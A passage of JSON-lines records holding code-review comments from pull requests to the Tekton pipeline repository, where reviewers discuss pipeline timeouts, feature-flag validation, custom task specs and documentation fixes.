936, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": ":) great suggestion, updated the content \ud83d\udc4d ", "comment_id": 625350019, "created_at": "2021-05-03T20:33:29Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "jerop", "body": "we need to update this comment, and others above it in this function, to include the aggregate status", "comment_id": 626060924, "created_at": "2021-05-04T19:51:13Z", "line": 209, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @jerop I have updated the comments \ud83d\ude4f ", "comment_id": 626818649, "created_at": "2021-05-05T18:54:13Z", "line": 209, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: might be worth saying that this is an aggregated status of all tasks *not in finally* - just for 100% clarity :)", "comment_id": 627324599, "created_at": "2021-05-06T11:11:37Z", "line": 27, "path": "docs/variables.md", "pr_number": 3817, "repo": "pipeline"} +{"author": "afrittoli", "body": "Nice, the same function catches the new variable too :)", "comment_id": 627327644, "created_at": "2021-05-06T11:16:40Z", "line": 211, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3817, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @afrittoli have created a PR to fix this #3919 ", "comment_id": 627769053, "created_at": "2021-05-06T21:14:42Z", "line": 27, "path": "docs/variables.md", "pr_number": 3817, "repo": "pipeline"} +{"author": null, "body": "Some users might not be aware of how we distinguish between \"dag\" and \"finally\" since \"dag\" never appears as a field name and we rarely mention it in user-facing documentation (I done think). It might be worth expanding this a little bit to include that Finally Tasks can run beyond this limit. Something like:\r\n\r\n```\r\nTime after which the Pipeline dag tasks time out. Finally tasks can run beyond this.\r\n```", "comment_id": 597083399, "created_at": "2021-03-18T17:14:52Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "suggest lowercase first letter of `timeout` here since it's referring to the user-facing yaml/json field.", "comment_id": 597119096, "created_at": "2021-03-18T18:00:58Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "Similarly here suggest small `t` for Timeout since it refers to the yaml field name.", "comment_id": 597120209, "created_at": "2021-03-18T18:02:42Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "We could make `facts.isFinalTask` public instead of wrapping it in a new function on the RPRT type. wdyt?", "comment_id": 597131656, "created_at": "2021-03-18T18:19:03Z", "line": 223, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "(I'm assuming this isn't prevented for some other reason reason I'm missing?)", "comment_id": 597131940, "created_at": "2021-03-18T18:19:27Z", "line": 223, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "The order of params to `Diff` need to be the other way around so that `PrintWantGot` displays the correct thing in its message; the order goes `(expected, received)`.", "comment_id": 597133265, "created_at": "2021-03-18T18:21:14Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3843, "repo": "pipeline"} +{"author": "souleb", "body": "Yeah I totally agree. I guess that's what happens after writing about dag tasks in a TEP \ud83d\ude1b \r\n Let me correct that.", "comment_id": 597241134, "created_at": "2021-03-18T21:04:20Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3843, "repo": "pipeline"} +{"author": "souleb", "body": "I'm not sure to get it.\r\n\r\nFor this test function I get this kind of error\r\n```go\r\ngo test -run TestGetFinallyTaskRunTimeout\r\n--- FAIL: TestGetFinallyTaskRunTimeout (0.00s)\r\n --- FAIL: TestGetFinallyTaskRunTimeout/timeout_specified_in_pr (0.00s)\r\n pipelinerun_test.go:2177: Unexpected finally task run timeout. Diff (-want, +got): &v1.Duration{\r\n - Duration: s\"20m0s\",\r\n + Duration: s\"2m0s\",\r\n }\r\nFAIL\r\nexit status 1\r\n```\r\n\r\nThe display seems good.", "comment_id": 597248215, "created_at": "2021-03-18T21:16:59Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3843, "repo": "pipeline"} +{"author": "souleb", "body": "It just seemed to me more natural to put it that way because I was expecting to find the function closed to ```IsFinallySkipped```. I like the idea of collocating those receiver function as they seem related. But i'm not against changing the scope of ```facts.isFinalTask```.", "comment_id": 597252243, "created_at": "2021-03-18T21:24:23Z", "line": 223, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3843, "repo": "pipeline"} +{"author": "pritidesai", "body": "Nope, there is no specific reason preventing it from going public i.e `facts.isFinalTask` can be made public. ", "comment_id": 597977366, "created_at": "2021-03-19T21:12:05Z", "line": 223, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "Looking at an example test case:\r\n\r\n```go\r\n{\r\n\tname: \"40m timeout duration, 20m taskstimeout duration\",\r\n\tpr: tb.PipelineRun(prName, tb.PipelineRunNamespace(ns),\r\n\t\ttb.PipelineRunSpec(p, tb.PipelineRunTimeout(40*time.Minute), tb.PipelineRunTasksTimeout(20*time.Minute)),\r\n\t\ttb.PipelineRunStatus(tb.PipelineRunStartTime(time.Now())),\r\n\t),\r\n\trprt: &resources.ResolvedPipelineRunTask{\r\n\t\tPipelineTask: &v1beta1.PipelineTask{},\r\n\t},\r\n\texpected: &metav1.Duration{Duration: 20 * time.Minute},\r\n},\r\n```\r\n\r\nI changed the last test case to expect 20 minutes instead of 40, which causes the following error:\r\n\r\n```yaml\r\npipelinerun_test.go:2177: Unexpected finally task run timeout. Diff (-want, +got): &v1.Duration{\r\n - Duration: s\"40m0s\",\r\n + Duration: s\"20m0s\",\r\n}\r\n```\r\n\r\nHere ^ the `(-want, +got)` says that the test \"wanted\" `- Duration: s\"40m0s\"` and that it \"got\" `+ Duration: s\"20m0s\"`. In fact we \"wanted\" 20m0s and \"got\" 40m0s, so the meaning is flipped. Does that make sense?", "comment_id": 598625529, "created_at": "2021-03-22T11:16:11Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "> I like the idea of collocating those receiver function as they seem related.\r\n\r\nI see this a bit differently - `IsFinallySkipped` is answering a question about the whole pipeline graph which requires the graph be fully \"resolved\", so makes sense on the `ResolvedPipelineRunTasks` type. `IsFinalTask` answers a question about a \"fact\" of an individual task of the pipeline, so makes sense to me to live on the `PipelineRunFacts` type. (Edit to add: now that I read this again I'm actually not sure there's much distinction here after all :D)\r\n\r\nGiven that these two types (RPRT and PipelineRunFacts) are used so closely together in our code I don't feel super strongly either way. I just got a bit confused when I first read it because the two funcs are named so similarly and use the same objects \ud83d\ude05 ", "comment_id": 598698436, "created_at": "2021-03-22T13:08:43Z", "line": 223, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3843, "repo": "pipeline"} +{"author": "souleb", "body": "Yeah make sense \ud83d\ude0a Thanks for reviewing this.", "comment_id": 598708665, "created_at": "2021-03-22T13:22:12Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "We might be able to reduce the repetition a bit here with a `validateTimeoutDuration` func, since the err type (ErrInvalidValue) is the same for all three, and the message only changes by the field name. Something like:\r\n\r\n```go\r\nfunc validateTimeoutDuration(field string, d *metav1.Duration) (errs *apis.FieldError) {\r\n if d != nil && d.Duration < 0 {\r\n fieldPath := fmt.Sprintf(\"timeouts.%s\", field)\r\n return errs.Also(apis.ErrInvalidValue(fmt.Sprintf(\"%s should be >= 0\", d.Duration.String()), fieldPath)\r\n }\r\n return nil\r\n}\r\n```\r\n\r\nThen this block of checks could become:\r\n\r\n```go\r\nerrs = errs.Also(validateTimeoutDuration(\"tasks\", ps.Timeouts.Tasks))\r\nerrs = errs.Also(validateTimeoutDuration(\"finally\", ps.Timeouts.Finally))\r\nerrs = errs.Also(validateTimeoutDuration(\"pipeline\", ps.Timeouts.Pipeline))\r\nif ps.Timeouts.Pipeline != nil {\r\n errs = errs.Also(ps.validatePipelineTimeout(ps.Timeouts.Pipeline.Duration, \"should be <= pipeline duration\"))\r\n} else {\r\n defaultTimeout := time.Duration(config.FromContextOrDefaults(ctx).Defaults.DefaultTimeoutMinutes)\r\n errs = errs.Also(ps.validatePipelineTimeout(defaultTimeout, \"should be <= default timeout duration\")\r\n}\r\n```", "comment_id": 619243024, "created_at": "2021-04-23T13:59:02Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "small nit: mixing `+` string concatenation with `fmt.Sprintf`. suggest sticking with one or other. e.g.\r\n\r\n```go\r\nfmt.Sprintf(\"%s %s\", ps.Timeouts.Finally.Duration.String(), errorMsg)\r\n```\r\n\r\nI tend to prefer this since it tells me immediately that `errorMsg` isn't allowed to contain formatting sequences of its own. Purely a code style thing though if you want to stick with the existing.", "comment_id": 619246380, "created_at": "2021-04-23T14:03:34Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "\ud83d\udc4d ", "comment_id": 625253387, "created_at": "2021-05-03T17:45:17Z", "line": 182, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "Suggest adding a comment for each public field describing the meaning here:\r\n\r\n```go\r\n\t// Pipeline sets the maximum allowed duration for execution of the entire pipeline. The sum of individual timeouts for tasks and finally must not exceed this value.\r\n\tPipeline *metav1.Duration `json:\"pipeline,omitempty\"`\r\n\t// Tasks sets the maximum allowed duration of this pipeline's tasks\r\n\tTasks *metav1.Duration `json:\"tasks,omitempty\"`\r\n\t// Finally sets the maximum allowed duration of this pipeline's finally\r\n\tFinally *metav1.Duration `json:\"tasks,omitempty\"`\r\n```", "comment_id": 625254419, "created_at": "2021-05-03T17:47:13Z", "line": 208, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "Rather than setting this for every test run, suggest including a `wc` func similar to `enableTektonOCIBundles(t)` in your new `timeouts` tests", "comment_id": 625277666, "created_at": "2021-05-03T18:25:37Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "Also suggest adding a test that checks validation fails if `enable-api-fields` is not `alpha` but the new `timeouts` is used.", "comment_id": 625278483, "created_at": "2021-05-03T18:27:08Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "Again here I think we probably shouldn't turn on `alpha` for all these unit tests because we want to make sure they're passing even if the user is running `stable`.\r\n\r\nIf it's too painful to weave together tests that need alpha with those that are stable it might be a better idea to just create brand new test funcs which are alpha-specific?", "comment_id": 625279802, "created_at": "2021-05-03T18:29:14Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "We need to ensure that a PipelineRun fails if `enable-api-fields: stable` is set _after_ the pr is submitted but before it executes. This could happen, for example, if the reconciler is busy and processing pipelineruns slowly and an operator flips the `enable-api-fields` flag between those two events.\r\n\r\nChecking this should be relatively straight forward:\r\n\r\n```go\r\nif config.FromContextOrDefaults(ctx).FeatureFlags.EnableAPIFields == config.AlphaAPIFields {\r\n // new timeouts logic goes here\r\n} else {\r\n // existing timeout code goes here\r\n}\r\n```\r\n\r\nAlso, I wonder if we could just pass the `getTimeout` func to `createTaskRun` directly instead of having two separate `create...` funcs with a helper? The reason for this is that as a reader of the code I have to go check if these two funcs do anything else differently (and over time other developers might start introducing different behaviour to each one). But if it's just a call to `createTaskRuns` with a different timeout getter it's clearer which logic is shared (the creation) and which isn't (the timeout).", "comment_id": 625293351, "created_at": "2021-05-03T18:51:49Z", "line": 646, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "Suggest adding a comment that this field requires `enable-api-fields: alpha` flag. Just in case a user comes along and copy/pastes this into their own pipelineruns.", "comment_id": 625329088, "created_at": "2021-05-03T19:55:40Z", "line": 69, "path": "examples/v1beta1/pipelineruns/no-ci/pipeline-timeout.yaml", "pr_number": 3843, "repo": "pipeline"} +{"author": "souleb", "body": "thanks for reviewing", "comment_id": 628454618, "created_at": "2021-05-07T19:19:17Z", "line": 208, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 3843, "repo": "pipeline"} +{"author": "souleb", "body": "followed your suggestion and created test functions for alpha fields", "comment_id": 628455307, "created_at": "2021-05-07T19:20:43Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 3843, "repo": "pipeline"} +{"author": "souleb", "body": "> Also, I wonder if we could just pass the getTimeout func to createTaskRun directly instead of having two separate create... funcs with a helper? The reason for this is that as a reader of the code I have to go check if these two funcs do anything else differently (and over time other developers might start introducing different behaviour to each one). But if it's just a call to createTaskRuns with a different timeout getter it's clearer which logic is shared (the creation) and which isn't (the timeout).\r\n\r\nAgreed! At first I wanted to have the minimum impact on the helper function.", "comment_id": 628784168, "created_at": "2021-05-08T18:57:23Z", "line": 646, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3843, "repo": "pipeline"} +{"author": "souleb", "body": "> We need to ensure that a PipelineRun fails if enable-api-fields: stable is set after the pr is submitted but before it executes. This could happen, for example, if the reconciler is busy and processing pipelineruns slowly and an operator flips the enable-api-fields flag between those two events\r\n\r\nHmm... Do we check just before the first reconcile, or at each reconcile cycle? My opinion here is that once the pipelinerun has started, we shouldn't take into account any operator update for that pipelinerun anymore... hence I would add a check of the `APIFields` flag only at the first reconcile. What do you think?", "comment_id": 628785107, "created_at": "2021-05-08T19:06:49Z", "line": 646, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "> My opinion here is that once the pipelinerun has started, we shouldn't take into account any operator update for that pipelinerun anymore... hence I would add a check of the APIFields flag only at the first reconcile. What do you think?\r\n\r\nThat's a really great point, I hadn't thought about this breaking pipelines that are mid-run. I agree with you - checking only alpha usage on the first reconcile makes sense to me.\r\n\r\nWhere I see this further breaking down is if an operator sets the `stable` flag midway through a pipeline run, and one of the later tasks in a pipeline relies on an alpha feature. then that task would fail the pipeline.\r\n\r\nAlso, pinging @vdemeester @afrittoli @bobcatfish for any insight from the authors of TEP-0033 here as well.", "comment_id": 629277823, "created_at": "2021-05-10T11:23:31Z", "line": 646, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "\ud83d\udc4d thanks a lot for making this change!", "comment_id": 630302511, "created_at": "2021-05-11T15:46:36Z", "line": 703, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3843, "repo": "pipeline"} +{"author": null, "body": "With the [latest changes in `main`](https://github.com/tektoncd/pipeline/blob/7ca5d615760165a3659c6cc1605bbc12a799b28a/test/gate.go#L18) this becomes:\r\n\r\n```go\r\nrequireAnyGate(map[string]string{\"enable-api-fields\": \"alpha\"})\r\n```", "comment_id": 630355210, "created_at": "2021-05-11T16:49:02Z", "line": null, "path": "test/timeout_test.go", "pr_number": 3843, "repo": "pipeline"} +{"author": "vdemeester", "body": "\ud83d\ude0d ", "comment_id": 614541865, "created_at": "2021-04-16T03:50:17Z", "line": 16, "path": "test/gate.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "pritidesai", "body": "I don't have a strong opinion here (I like the way its implemented) but we are ignoring any value other than `stable` and `alpha` and defaulting to `stable` which is different from `bool` feature flags. I think we should at least log this somewhere that its being defaulted to `stable`. On the other side, we could be ignoring a spelling mistake when someone tried to set it to `alpha` and by default we are operating `stable` APIs.", "comment_id": 616209936, "created_at": "2021-04-19T22:08:36Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "vdemeester", "body": "Right, I think it makes sense to at least log something in case of the value not being one we support, *but* the user will have to check the logs of the controller or the webhook (and know what to look for) to see it. But agreed we should log it anyway.", "comment_id": 616316264, "created_at": "2021-04-20T03:27:11Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3881, "repo": "pipeline"} +{"author": null, "body": "Indeed, I didn't want our machinery to end up in a broken state because the user mis-typed a value in the configmap. But adding a log line is a great idea; I'll do that.", "comment_id": 616613794, "created_at": "2021-04-20T11:58:14Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3881, "repo": "pipeline"} +{"author": null, "body": "Hm. We don't have access to `ctx` in a lot of places that leverage this code. This might be a bigger change than I thought.", "comment_id": 616664486, "created_at": "2021-04-20T13:06:41Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3881, "repo": "pipeline"} +{"author": null, "body": "@pritidesai @vdemeester would you be ok with me using the go `log` package to print this message? The reason is that `NewFeatureFlagsFromConfigMap` is [passed into knative and called by the framework](https://github.com/tektoncd/pipeline/blob/879ba4f65732808a0614d76d5993af0bac736009/pkg/apis/config/store.go#L83) without a `ctx` variable. I can't think of a way to shim support for the zap logger into that function without completely rewriting how the config package is structured. Since that function then [calls `NewFeatureFlagsFromMap`](https://github.com/tektoncd/pipeline/blob/879ba4f65732808a0614d76d5993af0bac736009/pkg/apis/config/feature_flags.go#L113), which in turn calls `setEnabledAPIFields` (from this PR), I don't see a great way to handle this except for leaning on the go `log` package.\r\n\r\nAny other ideas on ways we could tackle this?", "comment_id": 616710089, "created_at": "2021-04-20T13:58:32Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "souleb", "body": "namespace parameter seems not used. Is it here because required in the Setup() declaration?", "comment_id": 616846740, "created_at": "2021-04-20T16:24:55Z", "line": 17, "path": "test/gate.go", "pr_number": 3881, "repo": "pipeline"} +{"author": null, "body": "From the owners meeting just now:\r\n\r\n1. We could return an error in a similar fashion as we do when boolean flags aren't correctly set to \"true\" / \"false\"\r\n2. Knative pkg may be able to help us out here - they may have some configmap validation webhook tooling we can leverage to validate these on submission", "comment_id": 616875512, "created_at": "2021-04-20T16:59:56Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3881, "repo": "pipeline"} +{"author": null, "body": "Yes you're exactly right - [the setup func expects functions with signature](https://github.com/tektoncd/pipeline/blob/879ba4f65732808a0614d76d5993af0bac736009/test/init_test.go#L52) matching:\r\n\r\n```go\r\nfunc(context.Context, *testing.T, *clients, string) // the string at the end here is namespace\r\n```", "comment_id": 616876774, "created_at": "2021-04-20T17:01:44Z", "line": 17, "path": "test/gate.go", "pr_number": 3881, "repo": "pipeline"} +{"author": null, "body": "I've gone ahead and implemented (1) - returning an error if the value is mis-spelled. Created https://github.com/tektoncd/pipeline/issues/3895 to investigate validating the configmap contents somehow.", "comment_id": 617022246, "created_at": "2021-04-20T20:49:12Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "pritidesai", "body": "\ud83e\udd23 \ud83d\udc4d ", "comment_id": 617053013, "created_at": "2021-04-20T21:42:11Z", "line": 21, "path": "pkg/apis/config/testdata/feature-flags-invalid-boolean.yaml", "pr_number": 3881, "repo": "pipeline"} +{"author": "pritidesai", "body": "@sbwsg I am trying to understand the usage of this function, its only referenced in the unit tests for now. How do we envision this being utilized in future?", "comment_id": 617059682, "created_at": "2021-04-20T21:56:00Z", "line": 30, "path": "pkg/apis/pipeline/v1beta1/version_validation.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "pritidesai", "body": "I am trying to understand this, please bear with me.\r\n\r\nIf I am reading this right, the feature flag value is considered as absolute and only allows examples of that particular version to be tested.\r\n\r\nBut based on the TEP, setting the feature gate to `alpha` means the controller must support `alpha` and `stable` both:\r\n\r\n| Feature Versions -> | beta | alpha |\r\n| --- | --- | --- |\r\n| stable | x | |\r\n| alpha | x | x |\r\n\r\nx == \"**enabled**\"\r\n\r\nShould we run stable examples with alpha feature gate? Am I mixing things up here? \ud83d\ude43 Is this meant to work with something else? \ud83e\udd14 ", "comment_id": 617079922, "created_at": "2021-04-20T22:45:40Z", "line": null, "path": "test/path_filtering.go", "pr_number": 3881, "repo": "pipeline"} +{"author": null, "body": "Ah, good catch, there's an example of usage over in the Step & Sidecar Workspaces PR: https://github.com/tektoncd/pipeline/pull/3700/files#diff-988b00fa4f188a96ff5901c0bbc9f65d4a8355417185d4fe0ae97d8c14e04417R131-R133\r\n\r\nThe below snippet ensures that the new field is only valid to use when `enable-api-fields` is `alpha`:\r\n\r\n```go\r\n\tfor stepIdx, step := range steps {\r\n\t\tif len(step.Workspaces) != 0 {\r\n\t\t\terrs = errs.Also(ValidateEnabledAPIFields(ctx, \"step workspaces\", config.AlphaAPIFields).ViaIndex(stepIdx).ViaField(\"steps\"))\r\n\t\t}\r\n```", "comment_id": 617829804, "created_at": "2021-04-21T19:44:57Z", "line": 30, "path": "pkg/apis/pipeline/v1beta1/version_validation.go", "pr_number": 3881, "repo": "pipeline"} +{"author": null, "body": "I think you're absolutely right here. I've updated the func to run both alpha and stable examples when enable-api-fields is \"alpha\".", "comment_id": 617861981, "created_at": "2021-04-21T20:40:39Z", "line": null, "path": "test/path_filtering.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "pritidesai", "body": "I think we are missing `return` here. The `enableAPIFields` will be overwritten by the next statement even if output is empty.", "comment_id": 618623223, "created_at": "2021-04-22T17:56:40Z", "line": null, "path": "test/path_filtering.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "pritidesai", "body": "continue... instead of returning `\"stable\"`", "comment_id": 618623765, "created_at": "2021-04-22T17:57:26Z", "line": null, "path": "test/path_filtering.go", "pr_number": 3881, "repo": "pipeline"} +{"author": null, "body": "Thank you. I need test code for my test code >.< This should be fixed now, I've changed it to:\r\n\r\n```go\r\nif len(output) == 0 {\r\n output = []byte(\"stable\")\r\n}\r\n```", "comment_id": 618656818, "created_at": "2021-04-22T18:48:46Z", "line": null, "path": "test/path_filtering.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "waveywaves", "body": "Neat ! ", "comment_id": 621377393, "created_at": "2021-04-27T16:18:30Z", "line": 17, "path": "test/gate.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "afrittoli", "body": "The comment seems out of sync with the code.\r\nIf the feature gate is invalid then an error is returned.", "comment_id": 622217475, "created_at": "2021-04-28T14:09:35Z", "line": 121, "path": "pkg/apis/config/feature_flags.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "afrittoli", "body": "Nice :)", "comment_id": 622218518, "created_at": "2021-04-28T14:10:35Z", "line": 103, "path": "pkg/apis/config/feature_flags_test.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: For testing purposes I guess we can assume the namespace will indeed be `tekton-pipelines`, but it might be nice to have this configurable.", "comment_id": 622229302, "created_at": "2021-04-28T14:21:46Z", "line": 62, "path": "test/path_filtering.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "afrittoli", "body": "We don't have unit tests for this module", "comment_id": 622332769, "created_at": "2021-04-28T16:11:54Z", "line": 1, "path": "test/path_filtering.go", "pr_number": 3881, "repo": "pipeline"} +{"author": "afrittoli", "body": "Nice! \ud83e\udd29 \r\nCould you add a test about failing with both non-empty `Ref` and `Spec` too?", "comment_id": 623772681, "created_at": "2021-04-30T10:20:32Z", "line": 54, "path": "pkg/apis/pipeline/v1alpha1/run_validation_test.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "Since we can now have a the custom task in here, I think the `TaskSpec` below (L115/122) should be marked as ` +optional` in the comment?", "comment_id": 623777919, "created_at": "2021-04-30T10:30:15Z", "line": 124, "path": "pkg/apis/pipeline/v1beta1/pipeline_types.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "We could probably use `v1beta1.TaskKind` directly instead of `v1alpha1.TaskKind` - but since it was using `v1alpha1` before you don't have to change it here if you'd rather not.", "comment_id": 623850358, "created_at": "2021-04-30T12:48:08Z", "line": 54, "path": "pkg/controller/filter.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "s/it's/its", "comment_id": 623850920, "created_at": "2021-04-30T12:49:01Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "s/it's/its", "comment_id": 623851083, "created_at": "2021-04-30T12:49:14Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: maybe we could keep this one as (1) since it's the one which is more widely supported right now?", "comment_id": 623853840, "created_at": "2021-04-30T12:53:20Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: it would clearer if we specified why this may happen - i.e. that a custom task controller might or might not support embedded spec.", "comment_id": 623854536, "created_at": "2021-04-30T12:54:30Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: Why removing the empty line here?", "comment_id": 623855963, "created_at": "2021-04-30T12:56:39Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: Why removing the empty line here?", "comment_id": 623856218, "created_at": "2021-04-30T12:57:00Z", "line": 767, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "Today a custom controller must support `ref` (see https://github.com/tektoncd/pipeline/blob/main/docs/runs.md#example-run-with-an-unnamed-custom-task) - I don't think we should change that.", "comment_id": 623892535, "created_at": "2021-04-30T13:50:04Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "I'm not sure I understand this. We set the `Run.Spec` in L763.\r\nWhy do we need to rebuild and `EmbeddedTask` from the `PipelineTask.TaskSpec` (which is an `EmbeddedTask` already)? ", "comment_id": 623901866, "created_at": "2021-04-30T14:02:25Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "Isn't this already validated by the pipeline controller? ", "comment_id": 623903905, "created_at": "2021-04-30T14:05:20Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "I'm not sure we need this? It's up to the custom controller to decide what they need.\r\n\r\nIn Tekton we never create a resource for embedded specs - it does not add any value - or worst, it creates confusion, since it's not clear anymore which version of the resource is being executed, the one on the cluster or the one embedded.\r\n\r\nSo if we say something I think it should be that we discourage custom controllers from storing the embedded custom resource in `etcd`.", "comment_id": 623908846, "created_at": "2021-04-30T14:12:16Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: missing blank line on top of L118", "comment_id": 623909186, "created_at": "2021-04-30T14:12:43Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "async -> asynchronous \r\nat reconcile -> at reconcile time\r\n\r\nThe reasoning here is that all custom controllers installed would have to validate all `Run` resources, as it's not possible to filter the relevant one before validation is invoked.", "comment_id": 623911705, "created_at": "2021-04-30T14:16:08Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "afrittoli", "body": "removed the empty line?", "comment_id": 623913588, "created_at": "2021-04-30T14:18:39Z", "line": 360, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "My understanding is, we need to embed a `json.Marshal` of the `TaspSpec.Spec`. Please feel free to correct me.", "comment_id": 624447649, "created_at": "2021-05-01T08:13:05Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "You are right, it can be confusing and it is up to the custom controller, which way they want to implement.", "comment_id": 624471224, "created_at": "2021-05-01T09:07:26Z", "line": null, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "done !", "comment_id": 625027941, "created_at": "2021-05-03T11:37:14Z", "line": 54, "path": "pkg/apis/pipeline/v1alpha1/run_validation_test.go", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "Suggestions:\r\n- drop to three `#` to match \"Specifying the target Custom Task\" above.\r\n- updating the table of contents at the top to include this new section.\r\n- renaming so section title can stand on its own. Maybe \"Specifying a Custom Task Spec in-line\"?", "comment_id": 634371826, "created_at": "2021-05-18T13:21:40Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "\ud83d\udc4d ", "comment_id": 634376817, "created_at": "2021-05-18T13:27:09Z", "line": 70, "path": "docs/runs.md", "pr_number": 3901, "repo": "pipeline"} +{"author": null, "body": "Would it be worthwhile describing the benefits of picking an approach?", "comment_id": 634377624, "created_at": 